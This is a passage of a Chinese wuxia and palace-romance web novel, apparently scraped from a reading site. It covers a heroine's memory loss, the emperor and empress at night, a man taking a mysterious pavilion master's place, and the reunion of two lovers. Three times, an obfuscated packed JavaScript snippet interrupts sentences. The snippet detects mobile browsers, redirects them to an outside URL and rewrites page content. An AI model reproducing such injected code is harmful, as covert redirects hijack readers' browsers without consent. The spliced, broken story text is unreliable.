意识逐渐开始模糊,沉重的池水环拥着她,她看见了过去的一幕幕。 我从来就不是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683080|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好人,救你,也只是一时兴起而已…… 阿烟,我就算杀尽天下人,也不舍得伤你半分…… 你便是要我的命,我也给你…… 阿烟,令我如此失态的不是香,而是你…… 我寒星在此立誓,此生只娶席容烟一人,往后余生,永不相负…… 阿烟,对不起,我爱你…… 我想要你…… 阿烟,我说过的每一句话,都算数…… 我知道自己是个混蛋,但请你相信,这个混蛋绝对不会伤害你…… 你……就是我的药…… 不,阿烟,我是你的手下败将…… 阿烟,事到如今,我只求你,不要恨我…… 保重…… 阿烟,我爱你,你要记得我…… 她坠入池底,月色漾在水里,碎成点点银白色的光晕,像是星子,又像是他的眼睛。 她仿佛再一次听见了他的声音,“阿烟——” 她阖上眼,嘴角挂了一抹极淡极浅的笑。 她很高兴,她要死了。 或许,唯一遗憾的,就是没能在他生前,如他所愿,再叫上他一声夫君。 她想,没关系,反正我们很快就能见面了。 寒星,无论如何,我再也不要放开你的手。 忘川秋水,彼岸为花。 奈何桥下,不饮孟婆。 “夫君,等我。” 蓦然间,无数朵胭脂色的小花在她的身下蔓延而生。 花朵冻住了月光,天地间是大片的白,大片的红,奇香晕染开来,扑成一幅绮丽的画卷。 花醉三千客共有三招。 第一招,花开,云花朵朵尽着裳许,万里山长胭脂华胥。 第二招,花落,孤月枯枝冷砚寒笔,水光清影灯火难觅。 第三招,花归,碎色暖景烟雨乍停,一曲长歌敛袖归行。 而这,便是花醉三千客的第三招。 她苦练花醉三千客十年之久,甚至不惜狂饮三千杯酒,只为一个“醉”字。 可她却始终未曾明白,“花醉三千客”的关窍不在于“醉”,而在于“客”。 什么是“客”? 辞于人声,是客。 归隐江湖,是客。 身死红尘,是客。 山海客,亦是客。 山海客自创武学二脉,一脉为山脉,号“花醉三千客”,一脉为海脉,号“霜寒十四州”。 花醉三千客柔肠侠骨,霜寒十四州侠骨柔肠。 习武者,只有练到无人无心之境,方生方死之时,才能将这两脉融会贯通,合二为一。 如若不然,便很容易走火入魔,攻心而死。 所以,山海客将花醉三千客传给了儿子风萧,将霜寒十四州传给了徒弟依拉洪。 可惜风萧不明白山海客的苦心,背着山海客夺取了霜寒十四州,结果一命呜呼。 临死前,风萧拜托三乘大师将花醉三千客传给陈玄赫,其实是因为他知道陈玄赫是镇西大将军,他想让陈玄赫为他报仇。 大抵,风萧也未曾想到,有朝一日,陈玄赫的女儿会爱上依拉洪的儿子。 世事变迁,兜兜转转,花醉三千客和霜寒十四州传到了他们二人的手上。 席容烟一直不明白,为何她练了那么久,还总是练不好花醉三千客的第三招。 殊不知,只有死过一次的人,才能真正大彻大悟,了然于心。 月光流泻天池,花海浮出水面,她睁开眼,眼角一滴泪水,悄然滑落。 133. 一双新燕来 常德宫,偏殿。 周坤给席容烟把了半日的脉,末了叹了口气。 魏晗烨上前一步,急切地问,“如何?” “陛下,陈将军心力耗尽,气血翻涌,加之此前大悲大痛,勾出体内的许多亏空,所以才会昏迷不醒,这并不是什么要紧的症候,只消仔细调养一段时间就好了。” 魏晗烨的眉头略微舒展了一些,却听周坤话锋一转,继续说道,“只是,臣观陈将军的脉象,她的神庭、灵墟两处穴位似有血气淤积,醒来之后怕是……” 魏晗烨慌了神,没等周坤说完,连忙问道,“可有生命危险?” “陛下放心,那倒不会,但是她有可能想不起来从前的事情了,也就是人们常说的失忆。” 魏晗烨怔住,“失忆——” 他垂眸看了眼躺在榻上的席容烟,“你是说,旌儿有可能不记得朕了?” 周坤摇头道,“不止陛下,她连自己是谁都未必记得了。” 魏晗烨沉默了,半晌,他抿了抿唇,“其实,忘了也好。” “除此以外,陈将军心绪不定,呓语连连,即便醒了,恐怕也很难安稳入眠,臣会开些安神的汤药,让她服下,她吃了药,晚上应该就能睡好觉了。” “这汤药要服多久,会不会让她产生依赖?” “不会,安神汤药性温和,只是让她少些焦躁罢了,吃上一月左右,料着也就无碍了。” “那她的记忆……” “哎,这并非人力所能左右的,只能听天由命了。” 魏晗烨点点头,“秦川,带周太医去开药。” “是。” “臣告退。” 中宫。 林清婉微微抬身,撑头瞧着枕边人。 魏晗烨觉察了她的目光,睁眼看她,“大半夜不睡觉,你盯着朕干嘛?” 林清婉长发裹肩,柔声一笑,“陛下今晚已经翻了四五次的身了,臣妾如何睡得着。” 魏晗烨想起她还怀着身孕,歉然道,“抱歉,是朕不好,朕去偏殿睡吧。” 林清婉摇了摇头,伸手拉住了他,“陛下是在担心陈将军吧?” 魏晗烨不置可否。 “陛下若是还惦记着她,就把她纳入后宫吧,臣妾不介意的。” “你说什么?” 林清婉笑道,“陛下最初一直不肯来臣妾宫中,不就是因为她的缘故吗?臣妾听说,是陈将军劝了陛下,陛下才临幸了臣妾,说实话,臣妾很感激她,臣妾也希望陛下能够开心。” “胡说什么,陈将军是国之栋梁,朕惦记她的伤势,是为了大魏社稷,同儿女私情没有半点关系,皇后,你还怀着身孕,别瞎想了,早点睡吧。” 林清婉将头靠在魏晗烨的肩上,“陛下要是不愿意就算了,臣妾说这些,都是为陛下好。” 魏晗烨淡淡“嗯”了一声。 “陛下希望臣妾这一胎是男是女?” “无论男女,都好。” 林清婉抬手摸着自己的肚子,神情慈爱,“臣妾希望这一胎是个男孩,一则,大魏江山后继有人,二则,臣妾与陛下也就有了儿女双全的福分了,三则,这孩子要是个男孩,以后长大了,也不会和兰茵为了胭脂水粉争抢吵闹,两人一处养着,还能做个伴儿。” 魏晗烨听她说得有趣,不由得笑了起来,“哈哈哈,难道皇后从前在家时,有姐姐妹妹和你抢东西吗,可朕怎么听说,你父亲只有你一个女儿?” “陛下有所不知,臣妾父亲虽然只有臣妾一个女儿,但林家旁支众多,我们住在一处,难免会有一些吵闹,因为都是小孩子们之间的事情,大人们也不大管。” “那皇后是抢东西的人呢,还是被抢了东西的人呢。” 林清婉调皮一笑,“陛下猜猜。” 魏晗烨伸手揉了揉她柔顺的发,“朕想啊,皇后性子温婉,应该不会是抢东西的人吧?” “哈哈,陛下猜错了,臣妾在陛下跟前如此,是因为明白女子以夫为天的道理,可臣妾从前在家时,也是个不饶人的。臣妾在姊妹之中算是年纪小的,若有争端,姐姐们一般都会让着臣妾,一则是因为臣妾还小,二则也是怕万一吵嚷开来,臣妾哭鼻子说被她们欺负了,大人们便会斥责她们不懂得疼惜妹妹,没有做姐姐的样子。” 说到这里,林清婉忍不住笑了起来,“其实明明是臣妾不讲理,得了便宜还要卖乖。” 魏晗烨听了,哈哈大笑,“没想到朕的皇后还有这样的一面,真是让朕刮目相看!” “臣妾家里人口众多,一半在京里,一半在南边,每逢过年人来人往,都有好多有意思的事儿,陛下若是愿意听,臣妾挑些有趣的故事,慢慢讲给陛下听。” “好啊,正好朕现在睡不着觉,你且讲一个听听。” 林清婉想了想,“臣妾有一个表姐,表姐比臣妾大了好几岁,臣妾还很小的时候,她就已经许了人家了,所以臣妾和她其实并没有多少交情,但臣妾对她印象很深,因为她的夫君当时只是一个贫困书生,论起来,两家是门不当户不对的。” “既然如此,他们夫妇二人又是如何认识的呢?” “表姐还未出阁时,曾在上元佳节跟着姑父姑母出门看花灯,她在长街上偶遇了这位书生,对他一见钟情,非要嫁他不可。姑母疼爱表姐,又见那书生也是仪表堂堂的人物,虽然家境贫寒了点,但有功名在手,日后也不愁没有出人头地的日子,思来想去也就答应了。” “那你的表姐现在过得如何?” “过得挺好的呀,臣妾家中的长辈从前一直拿表姐的事情教育我们,让我们千万不要像表姐那样迷了心智,嫁给一文不名的男子。可后来,表姐夫中了进士,青云直上,前途大有可为,长辈便又夸表姐慧眼识珠,自己给自己择了一位好郎君,是个有主见的女孩子。” 魏晗烨笑了笑,“贫贱夫妻百事哀,你表姐确实很有勇气,也很有眼光。”[1] “是啊,表姐后来曾和我说,与其等着家里给自己找一个什么都不会的纨绔子弟,不如自己挑个真心喜欢的意中人,与他相伴一生,白头偕老。” “你似乎很羡慕你的表姐。” “当然啦,一见钟情的相遇,命中注定的相守,天底下有哪个女子会不羡慕呢。” 魏晗烨若有所思,“那你为什么要听从母后和林家的安排,嫁给朕呢?我们在除夕宴前从来没有见过面,你可别说,你在除夕宴上对朕一见钟情了。” 林清婉掩唇一笑,“臣妾不敢欺瞒陛下,臣妾对陛下还真没有一见钟情的感觉。” 魏晗烨见她如此率直,忍不住笑了起来,“那你当初为什么会那么坚定地嫁入宫中呢?” 她把下巴埋在他的颈窝处,轻声道,“因为比起一见钟情,臣妾更相信日久生情。” “日久生情?” “是啊,陛下,我们有了兰茵,如今又有了臣妾肚子里的孩子,可不是十分难能可贵的感情吗。臣妾守着陛下,陛下也疼惜臣妾,可不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702136|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日久生情吗。” 魏晗烨弯了弯眉,“皇后说得对,我们的确是日久生情。” 他伸手拍了拍她的背,“不早了,睡吧。” 林清婉像只小猫一样,往他怀里蹭了蹭,“那陛下闭上眼睛,我们一起睡。” “好。” 一月后。 常德宫。 “陛下,三乘大师求见。” “快请。” 魏晗烨笑着迎了上去,“大师怎么来了,真是意外之喜。” 三乘大师念了声佛,“我不日要去云游,临行前,想求施主一件事情。” “大师这样讲,朕实在是不敢当,若有朕能帮上忙的,大师但说无妨。” “陈施主心结未解,郁郁寡欢,我想带她出去散散心。” 魏晗烨愣了愣,“旌儿?” “施主是舍不得她吗?” 魏晗烨连忙摆手,“没有没有,朕只是觉得她身体尚未痊愈,一时半刻不宜出行。” 三乘大师沉吟半晌,缓声道,“我知道施主待她的情谊非比寻常,只是施主也要明白,陈施主虽然是大魏的将军,但她到底是个女儿身,如今,她在宫中已经住了一月有余,街头巷尾,早有议论,施主此举,对她究竟是好是坏,还未可知。皇后娘娘身怀六甲,最忌多思多想,施主为国本计,也当思虑一二。” 魏晗烨如梦初醒,后悔不迭,他的确舍不得席容烟,对他而言,即便不能和她在一起,每天能看见她的笑容也是好的,可他却忽略了此事对席容烟的影响。 “大师所言甚是,是朕疏忽了,只是不知大师此去,几时回来?” “归期未定,一切都随缘吧。” 魏晗烨敛眉不语,许久才说,“一切随缘,也是好的。” 三乘大师淡淡一笑,“施主,我有一句话,不知当讲不当讲。” “大师有话尽管说,朕洗耳恭听。” “我小时候很喜欢一只小鸟,每天做完功课,都要特意找时间逗逗它,那些日子,那只小鸟带给了我许多快乐。后来有一天,小鸟长大了,飞走了,我很伤心,为此哭了很久。我记得我师傅问我,我到底是舍不得那只小鸟,还是舍不得过去的那些时光?施主以为如何?” “朕觉得,大师应该是舍不得那只小鸟吧。” “是啊,我当时也是这么想的。师傅笑了笑,接着问我,我舍不得那只小鸟的什么?我说了我和小鸟之间发生的点点滴滴,说到最后,我才发现,我已经记不清楚那只小鸟最开始的样子了,我舍不得的其实是那个年幼的自己。” 案上的错金流云博山炉紫气氤氲,魏晗烨凝眸看了一阵,似有所悟。 “施主,时岁流转,便如东流之水,去而不返,施主在水中看到的不过是记忆中那人的影子罢了,彼时之人已经不在,眼前之人才最要紧啊。” “眼前之人?”魏晗烨心中一动,忙道,“多谢大师指点,朕明白了。” 三乘大师双手合十,“阿弥陀佛。” 绛红色的袈裟飘逸在连绵的朱墙之外,风一吹,便散了。 魏晗烨望着三乘大师的背影,忽然想起他在十年前曾经赠给自己四句偈语。 那时,魏晗烨以为这四句偈语是,倾予风中酒,酌饮云上尘,天地一竹篙,误入此中门。如今方知,是自己会错了意。合该是,倾予风中酒,酌饮云上尘,天地一竹篙,勿入此中门。 魏晗烨抬头瞧着梧桐树上的一双新燕,笑了笑,“还好,不算晚。” 134. 三入天机阁 鄯州。 在去往鄯州的路上,寒木一直在担心自己能不能顺利找到天机阁的入口,没想到,他才踏入鄯州境内,便一脚踩空,掉进了天机阁的幻境之中。 天机阁阁主立在酒楼门口,似乎已经等候多时了。 寒木打量着他,不知为何,寒木觉得这次的天机阁阁主好像并不是幻像。 寒木看了他很多眼,可是每一次,当寒木收回视线时,方才还清清楚楚的形容便在记忆里模糊了,寒木试了很多次,终于意识到,自己永远没有办法记住这个人的样貌。 他不老不少,不男不女,顶着普普通通的一张脸,穿着普普通通的一身衣。 可他无需做什么,只要往那一站,就给人一种很不普通的感觉。 “这是你的真身?” “是,也不是。” “阁主似乎在等人?” 天机阁阁主笑了笑,“对,我在等你。” 寒木一愣,“等我?” “你来找我,是为了救寒星,不是吗?” “阁主愿意帮我吗!” “世间万物,皆有代价,你要救他的命,便要拿你的命来换。” 寒木的脸上并没有震惊的表情,他在来之前,已经做好了有去无回的打算。 他抽出偃月刀,痛快道,“好,你只要能救活寒星,我的命,你尽管拿去!” “且慢,我要你的命,并不是要你死。” 寒木听得糊里糊涂,他放下刀,有些无奈地说,“阁主,我是个粗人,听不懂你的意思,你想让我怎么做,直说吧。” 天机阁阁主似笑非笑,“我想让你顶替我的位置,成为下一任天机阁阁主。” “什么?” 寒木几乎要惊掉下巴了,他抬手指着自己,“你让我来做天机阁阁主?” “对,就是你,寒木。” “为什么?” “没有为什么。” “那……”寒木思绪混乱,他组织了一下语言,“天机阁阁主需要做什么?我能行吗?” “天机阁是个做生意的地方,南来北往的客人来了天机阁,都能换到他们想要的东西,也会付出我们想要的代价。天机阁阁主可以知过去,见未来,是个不错的美差。” 寒木挑了挑眉,“还有这样的好事?那我岂不是可以为所欲为了?” “那当然不行,天机阁有天机阁的规矩,许多事情,你即使知道,也不能出手干预。” 天机阁阁主的神色黯了黯,“否则——” “否则如何?” “你会痛不欲生,生不如死。” 他的声音低沉,带着不属于活人的气息,寒木被他吓得退后一步。 “那我什么都知道,却什么都不能做,岂不是太痛苦了?” “还好,你习惯就好了,总比死了强。” 寒木心说也对,自己本来都没打算从天机阁活着出去,这么一想,竟是捡了一个大便宜,而且天机阁阁主可以通古晓今,听起来还挺有意思的。 “天机阁阁主可以换人吗?如果有一天,我当够了,不想当了,我可以像你一样把阁主之位让给别人吗?” “当然可以。” 天机阁阁主回答得很肯定,但他没有说,天机阁阁主至少要做满一千年,如果提前离开,就会万劫不复,身陨魂销,再也没办法进入轮回。他没有告诉寒木这些,并不是怕寒木知道了这些,就不做这个阁主了。他知道,寒木为了救寒星,无论什么条件,都会一口答应下来。 他没有说,是想让寒木晚一些陷入绝望,晚一些陷入活着还不如死了的绝望。 寒木信以为真,继续问道,“离开天机阁之后,上一任阁主会去哪里呢?” “天机阁在六界之外,自然和寻常的转世投胎不同,天机阁阁主知道了太多太多的事情,手上沾染了太多太多的是非,如果选择离开,将会被抹除一切记忆,送往人间,在经历三世六亲缘薄之后,再入轮回。” 寒木似懂非懂地点点头,忽然想起一事,忙问,“阁主,你在天机阁待多少年了?” 天机阁阁主语气平淡,“九百九十九年。” “啊,这么久了?你为什么要来,又为什么要走呢?” “为什么要来,我已经记不得了,至于为什么要走,到了该走的时候,自然就走了。” “天机阁阁主不是一直都必须待在天机阁里吧?” “哈哈哈,当然不是,你可以在天机阁和六界之间来回穿梭,甚至可以在人间娶妻生子。” 寒木又一次震惊了,“这都行?” 天机阁阁主默了默,缓声道,“不过,你最好还是不要沾染这些,一旦有了这么多牵绊,你就没办法心如止水了,最终只会害了你自己。” 寒木见他神色古怪,还想再问,天机阁阁主却已转过身去。 “我走了,天机阁就交给你了。” “等一下!” 天机阁阁主站住脚,“还有何事?” “阁主,我想知道你的名字。” “单枚。” “不是这个。”寒木顿了顿,补充道,“我想知道你的本名。” 天机阁阁主沉默半晌,回头一笑,“忘了。” 寒星醒来的时候,愣了足足一分钟。 他不是已经死了吗,这是怎么回事? 寒星环顾四周,终于认出这是鄯州边境的一处茅草屋,他曾在这里杀过人,所以记得。 鄯州…… 天机阁…… 寒星的目光扫过桌上的那柄青霜剑,忽然间明白了什么,他迅速起身,一不小心扯动了还未痊愈的伤口,疼得他倒吸一口凉气。 他体力不支,单膝跪地,声嘶力竭地大喊,“寒木!” 寒星在鄯州逗留了一年有余,他想要闯进天机阁,他想要救回寒木,可是不知道为什么,无论他如何努力,始终进不去天机阁半步。 有一日,他梦到了寒木。 寒木说,“寒星,我救你,不是想看你如此悲伤痛苦,一蹶不振的,你这样作践自己,岂不是辜负了我。你的命,是我的,你要好好活下去,带着我的那一份,好好活下去。” 醒来之后,寒星终于想通了,他收拾好行囊,离开了鄯州。 临行前,寒星在茅草屋附近的竹林里立了一个衣冠冢,他将青霜剑埋于冢内,又用自己的右掌在碑上刻出“寒木”两字,碑成之时,他的手上已是猩红一片。 此时正值隆冬,大雪压弯了满山葱郁,唯有衣冠冢旁边的翠竹笔挺依旧。 寒星立在衣冠冢前,抬手将酒葫芦里的酒尽数倒出。 酒水掺着星星点点的鲜血,浸在雪地里,激起一股凛冽的寒香。 “木头,我会回来看你的。” 四下岑寂,风声呜咽,仿佛无声的回答。 寒星跪下,磕了三个头,起身扬袖而去。 寒星回了西域一趟,他看到达亚娜在沙吾提和艾山的帮助下,将依拉勒扶上了汗王之位。 依拉勒到底年幼,他虽然是名义上的西域可汗,但实际上,许多事情都是达亚娜说了算。 达亚娜还是那么坚强,即使心中绞痛,也未曾在人前显露分毫。 自从她嫁给寒星,就放下了九节鞭,拿起了针与线。 十多年过去了,她一心一意地做着寒星的妻子,做着依拉勒的母亲,将那个鲜艳明媚的北疆公主深埋于心。 而今,寒星亡故,她重新披挂上阵,策马扬鞭,飒飒英姿,不输当年。 不同的是,这一次,九节鞭上系着的丈许红绸变成了黑色。 黑绸,红衣,白马,美人,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715915|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间,达亚娜的名字响彻了整个大漠。 无数的人慕名而来,他们想要征服这位年纪尚轻的遗孀,成为依拉勒的继父。 他们知道,征服了达亚娜,就征服了整个大漠。 但达亚娜不为所动,她挥舞九节鞭,抽退了那些试图从她手中分得一杯羹的男人。 她从北疆公主变成西域阏氏,如今又成了西域新汗王的阿娜,西域和北疆实际的掌权人。 时岁荏苒,世事沧桑,达亚娜容颜依旧,但眼中早已没有了少女时的柔情。 寒星死了,她的男人死了,她的心也死了。 从此,这世间再无一个男子能走进她的内心。 在思念寒星的日日夜夜里,她也渐渐懂得,除了爱情,这世上值得的事情还有很多很多。 达亚娜打定主意,她的余生要轰轰烈烈,要为自己而活。 寒星在暗处看着这一切,脸上浮出了一丝释怀的笑。 西域没有因为他的离开而遭到重创,将士尚在,百姓安乐,他终于可以放心了。 寒星牵着马,擎着鹰,一步步走出了大漠,走出了这个属于他的国家。 天高地远,可他却不知道自己应该去往何方。 天上烟花盛放,远处人声喧嚷,似乎,又是新的一年了。 他仰头,笑了笑。 他这一生,背负了太多。 作为西域汗王依拉洪的独子,他生来就是大漠上炽热耀眼的红日,他拥有西域最为勇猛的父亲,拥有西国最为美丽的母亲,他的一生,原本应该一顺百顺,羡煞旁人。 再不济,他也应该像依拉勒一样继承汗王之位,成为一方霸主。 可他三岁丧父,十二岁丧母。 为了避开苏里唐的耳目,他和母亲躲藏在鱼龙混杂的红翠馆,这一躲,就是将近十年。 在红翠馆,他看到了男女之间最为肮脏最为龌龊的一幕幕。 见惯了如同镜中花,水中月的风流韵事,他曾以为,他这辈子都不会爱上任何一个人。 母亲死后,无处可去的他只身进入宰相府,成为了席容炎手下最为得力的暗卫。 在暗卫营,他手起剑落,杀人如麻,人命在他眼中,不过儿戏。 除了生死之交寒木,席容烟是他生命中为数不多的一道光。 当初,寒星救她,原本只是想要利用她,他不知道,自己为什么会爱上她。 他问了自己很多遍,最后终于明白,爱一个人,是不需要理由的,就像饿了想要吃饭,渴了想要喝水,困了想要睡觉一样简单,一样没有道理。 那一年,他亲手为父亲报了仇,成为了西域的新汗王,还娶到了自己心爱的女人。 没有人知道,在一个普通的夜晚,在一个没人注意的地方,寒星偷偷流下了眼泪。 世人总以为,英雄是不会流泪的。 事实上,英雄也是人,英雄也会流泪,只是他们的眼泪从来不会让人看到。 那段时间,是他记忆中最为快乐的一段时光。 寒星想到这里,不自觉勾了勾唇角。 他很爱席容烟,爱到连自己都不敢相信的地步,但他并不打算去找她。 小爱是缠绵,大爱是放手。 他们之间隔着无法逾越的血海深仇,即便相爱,也不可能在一起。 寒星相信,席容烟是爱他的,但她只能爱死去的他。 而他只要活着,她就只能恨他。 所以,他隐姓埋名,游历四海,靠给人疗伤治病为生,其间,他还是会不受控制地想起席容烟,想起她的音容笑貌,想起他们在一起的点点滴滴,但他一次都没有去找过她。 他明白,对于他们二人而言,相濡以沫,不如相忘于江湖。 当寒星再一次见到席容烟时,已经是三年之后的事情了。 135. 悠然见南山 大魏三十五年。 九月。 走走停停,寒星来到了江南一带。 荷花十里,桂子飘香,暖风裹着氤氲水气,几乎把人醉倒。 寒星身上的银子用光了,只得沿岸支个小摊,重操旧业,赚些散碎银两。 这地方一向富庶,少有灾祸,因此,来找他诊脉的多是一些烟花女子。 这些女子住在秦淮河的花船上,迎来送往,夜夜笙歌,许多客人为了与她们春宵一度,豪掷千金。她们虽然会在接客前服下避子汤药,但还是会有女子不小心怀上身孕,直到显怀了才发现,这个时候,月份已经大了,她们如果不想留下这个孩子,就只能打胎,可这样很容易对身体造成不可逆的损伤,最关键的是,她们担心打完胎之后,会被客人嫌弃,就再也挣不到银子了,所以她们来找寒星帮忙。 寒星每每想起此事,都会觉得有些好笑。 他的怜冰决可以杀人,也可以救人,可他却用救人的方法去杀害那些无辜的胎儿,他竟不知,自己究竟是在杀人还是在救人了。 寒星从前杀过许多人,可这三年来,他一个人都没有杀过,相反,他一直在救人。 好事做多了,寒星有时候甚至产生了自己是个好人的错觉。 如今,他因为不忍这些烟花女子的苦苦哀求,亲手让许多胎儿折损腹中,虽然他是为了这些烟花女子着想,但毕竟是无辜性命,为了让自己心安一些,寒星经常去附近的一座古寺。 不过,他并不拜佛,也并不求什么,只是在寺里走一走,看一看,听听鸟鸣,嗅嗅花香。 有一日,寒星照常来到寺中,他拨开垂柳,探身步入花间幽径。 风起,宝铎之音清脆悦耳。 寒星微阖着眼,心中是前所未有的舒然畅意,他信步走着,忽然和迎面跑来的一人撞了个满怀。 一缕轻渺芸香逸散开来,寒星的心砰砰直跳,他睁开眼,看着那人的眉眼,怔在当地。 这个人,是他每晚都会梦到的人。 阿烟…… 他嘴唇微动,却发不出声音。 幽径窄小,左右只能容下一人,席容烟无处避身,只得也抬头打量着他,不知为何,她明明不认识他,可在见到他的一瞬间,她的心很疼,很疼。 两人离得实在太近,席容烟来不及多想,往后退了一步,“公子可否让我过去?” 寒星愣了愣,他不明白,她为什么要叫自己公子,难道她不记得自己了吗。 席容烟见他没有反应,解释道,“这条小径,我已经快走到头了,公子才走了几步而已,所以,可否麻烦公子往后避一避,让我先过去?” 寒星凝视着她,仍旧没有一点反应。 席容烟无奈,只得转身离开,她才走出几步,却被一只有力的手拉住了。 “阿烟,不要走。” 她又羞又怒,用力甩开了他,“什么阿烟?你认错人了!” 寒星呆呆地看着她,他怎么会认错呢,他的阿烟,就是化成了灰他也认得。 可他一句话都没有说,只是站在原地,看着她越跑越远,直到最后再也看不见了。 他不敢追上去,他不敢。 那天晚上,寒星又一次失眠了,他觉得这件事有点不对劲,看她的样子,不像是装的,倒像是真的不认识自己了,他突然很后悔,白天没有拉住她问个清楚。 但很快,两个人就又一次见面了。 一个午后,寒星在断桥上同席容烟再次相遇。 她穿了一身月白素缎长裙,外罩青色软罗纱衣,一条云衿萦在腰间,和煦的阳光洒落,她的三千青丝拢着淡淡的金色光晕。 这一幕,似曾相识,一眼万年。 擦肩而过的一瞬间,寒星没再犹豫,上前拦住了她。 席容烟已经不记得上次在寺中的事情了,她茫然地看了他一眼,“公子有什么事吗?” 寒星想了想,说道,“姑娘,在下初来此地,一不小心迷了路,可否请姑娘指点一下?” “好啊,你要去哪儿?” 这一问,倒是把寒星问住了。 他要去哪儿,连他自己都不知道。 寒星正准备胡诌一个地方,忽见前面一个身着袈裟的男子转过身来,“怎么了?” “没事的,师傅,有人找我问路。” 男子“哦”了一声,转头看见寒星,却是一怔。 寒星见是故人,笑道,“三乘大师,好久不见。” “欸,你怎么认识我师傅?” 三乘大师上下打量着他,良久方道,“施主大难不死,必有后福。” “但愿如此,大师,我们可否借一步说话?” “好。” 三乘大师嘱咐了席容烟两句,便和寒星走到了一间水榭之中。 寒星开门见山,“阿烟怎么了?” “她失忆了,从前的事,她都不记得了。” “为什么会这样?” 三乘大师叹了口气,“我不知道当年到底发生了什么,单从脉象上看,她的情况和风萧颇为相似,只是伤得不似风萧那般严重罢了。” “风萧是因为同时修炼了花醉三千客和霜寒十四州,才会走火入魔,不治身亡,可是,阿烟根本不会霜寒十四州,她又怎么会遭到反噬呢?” “施主有所不知,花醉三千客和霜寒十四州一刚一柔,相生相克,二者一旦相遇,便会激发出强大的力量,她如果真的修炼了霜寒十四州,只怕早就已经死了,哪里还能活到现在。我想,她应该是想用花醉三千客为你疗伤,结果反而遭到了内力的反噬,所以才会如此。” “为我疗伤?”寒星怔了怔,摇头叹气,“我不值得她这样对我。” “施主也是死过一次的人了,何必还这样放不下呢。” “大师,你有过心爱的女人吗?” 三乘大师沉默了一下,“没有。” “有一句话,叫如人饮水,冷暖自知,还有一句话,叫当局者迷,旁观者清,大师心在红尘之外,自然没有办法理解红尘之中的诸般纠葛。” “我心虽在红尘之外,我身却在红尘之中,施主,你又怎知,我不明白你明白的情感呢?” “或许吧。” “我和陈施主要在此地待上十日光景,施主若有兴致,不妨同行。” 寒星喜出望外,“真的可以吗?” “当然可以,施主,请吧。” 月下篝火。 三乘大师在一株桂花树下打坐,席容烟倚着树干,眼皮不自觉沉了下去。 也不知过了多久,寒星推她道,“南山,醒醒。” 席容烟抬了抬眼皮,嘟囔道,“干什么呀?” “我抓了两条鱼,已经烤好了,你吃不吃?” “啊?”席容烟睁开眼睛,“你忘了,师傅不许咱们沾荤腥的。” 寒星指了指三乘大师,“没事儿,他已经睡着了,等他醒了,咱们早吃完了,骨头渣子都不剩,他怎么可能发现呢。” 席容烟确实有点动心,可她还是不大敢,“要不……” 她仰头看着他,脸颊泛起一丝红晕。 他一袭白色衣袍,立于月下,如墨如瀑的黑发半披半束,眸间点点星辉闪烁。 潺澴月华流泻而过,他笑了笑,向她伸出手。 这是一只很好看的手,指节修长,腻如白玉。 她的手很自然地搭在了他的手上,他挑了挑眉,将她一把拽入怀中。 寒星微微垂眸,这张脸,同他记忆里的一般无二,他有时候甚至觉得,从前发生的一切都是一场梦,如今,梦醒了,他的阿烟就回来了。 席容烟的脸更红了,她推开他,轻咳两声,“才想起来,我们在一起赶了这么久的路了,我还没问,你叫什么名字呢。老实交代,你是哪里人士,家中兄弟几个,可曾有过婚配?” 寒星愣了愣,随即笑起来,“哈哈哈,你问这么细干嘛,莫不是想嫁给我?” 席容烟啐了一口,“呸,胡说什么呢,我把你当哥哥看,你却……” 他低下头,含笑逗她,“我却如何?” 她抿抿唇,扭着脸跑开了。 寒星暗自偷笑,转头看见她伸手去捡烤鱼,忙道,“小心烫!” “嘶,你怎么不早说。” 寒星忍俊不禁,伸指戳了一下她的脑门,“谁让你这么贪吃了,一刻也等不得。” 他牵过她的手指,放在唇边细细吹着,温声道,“好点了吗。” 他的薄唇几乎贴在了她的指尖上,酥酥痒痒的感觉从指尖流到心底。 席容烟不敢再看他,慌忙抽回手,磕磕巴巴地说,“那个,我不疼了。” 寒星勾了勾唇,抬手用树枝串了烤鱼,递给她,“可以吃了。” 席容烟看见好吃的,又高兴起来,“谢谢你。” 寒星闻言,笑容却是僵了一下。 她之前,从未对他说过谢谢。 他勉力一笑,“不客气。” 月明星稀,晚风和畅,二人围坐在火堆旁,有说有笑,不亦乐乎。 烤鱼被木柴烤得焦香,席容烟吃得欢天喜地,不住赞叹,“没想到嘛,你手艺这么好,我还真是小瞧了你。” “其实,这是我第一次做饭。” “哇,你第一次做饭就让我赶上了,荣幸之至呀!” 寒星抬指抹去她嘴角的油花,嗤笑道,“没人和你抢,慢点吃。” 